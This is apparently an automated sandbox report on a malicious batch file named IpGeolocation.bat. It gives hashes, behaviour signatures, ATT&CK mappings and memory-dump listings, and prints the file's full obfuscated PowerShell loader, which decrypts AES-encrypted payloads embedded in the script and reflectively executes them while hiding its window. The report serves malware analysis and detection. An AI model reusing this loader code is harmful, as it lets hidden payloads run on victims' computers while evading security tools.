1bb8c8c19237b327822cc6fbc537b9c4d50c549ff15f4e71abf84a2341eec0db

Analysis

max time kernel
120s
max time network
122s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
15/07/2024, 03:52

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General

Target

IpGeolocation.bat
Size

610KB
MD5

624933026776b6141b7ca87c9eccb8d8
SHA1

d7d6388d6266360e14d7c6b56141a92053514387
SHA256

1bb8c8c19237b327822cc6fbc537b9c4d50c549ff15f4e71abf84a2341eec0db
SHA512

2d4617a578a45ee95e958fca89fbcd37882d9ca0d4b9a41e354d2901e3e19b75e9a96b7da5c9e5fdef3c9358bae06529bc3f9e2a74ae83fc3c62ae71a52f8958
SSDEEP

12288:M6nt5tlBhJSv4euiIl0Mhw0NbmInJpiudZtifyI72IaeYeeI:MQLlwdIyMhPnJpiWy5YdI

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
484	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
484	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	484	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1708 wrote to memory of 484	1708	cmd.exe	31
PID 1708 wrote to memory of 484	1708	cmd.exe	31
PID 1708 wrote to memory of 484	1708	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\IpGeolocation.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('d+tjLDCPBIWMxcwncrBccwSeRNMmRhl2Y45p/urqvjk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JQ61hnvf3GQSlcjvuUmFtg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $inpxI=New-Object System.IO.MemoryStream(,$param_var); $oNRYQ=New-Object System.IO.MemoryStream; $uMrRr=New-Object System.IO.Compression.GZipStream($inpxI, [IO.Compression.CompressionMode]::Decompress); $uMrRr.CopyTo($oNRYQ); $uMrRr.Dispose(); $inpxI.Dispose(); $oNRYQ.Dispose(); $oNRYQ.ToArray();}function execute_function($param_var,$param2_var){ $dIinJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KfnHU=$dIinJ.EntryPoint; $KfnHU.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\IpGeolocation.bat';$yTaDG=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\IpGeolocation.bat').Split([Environment]::NewLine);foreach ($jRjNl in $yTaDG) { if ($jRjNl.StartsWith(':: ')) { $AYgTF=$jRjNl.Substring(3); break; }}$payloads_var=[string[]]$AYgTF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:484

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/484-4-0x000007FEF54DE000-0x000007FEF54DF000-memory.dmp

Filesize
4KB

Download
memory/484-6-0x00000000021D0000-0x00000000021D8000-memory.dmp

Filesize
32KB

Download
memory/484-5-0x000000001B6B0000-0x000000001B992000-memory.dmp

Filesize
2.9MB

Download
memory/484-7-0x000007FEF5220000-0x000007FEF5BBD000-memory.dmp

Filesize
9.6MB

Download
memory/484-9-0x000007FEF5220000-0x000007FEF5BBD000-memory.dmp

Filesize
9.6MB

Download
memory/484-8-0x000007FEF5220000-0x000007FEF5BBD000-memory.dmp

Filesize
9.6MB

Download
memory/484-11-0x000007FEF5220000-0x000007FEF5BBD000-memory.dmp

Filesize
9.6MB

Download
memory/484-10-0x000007FEF5220000-0x000007FEF5BBD000-memory.dmp

Filesize
9.6MB

Download
memory/484-12-0x000007FEF5220000-0x000007FEF5BBD000-memory.dmp

Filesize
9.6MB

Download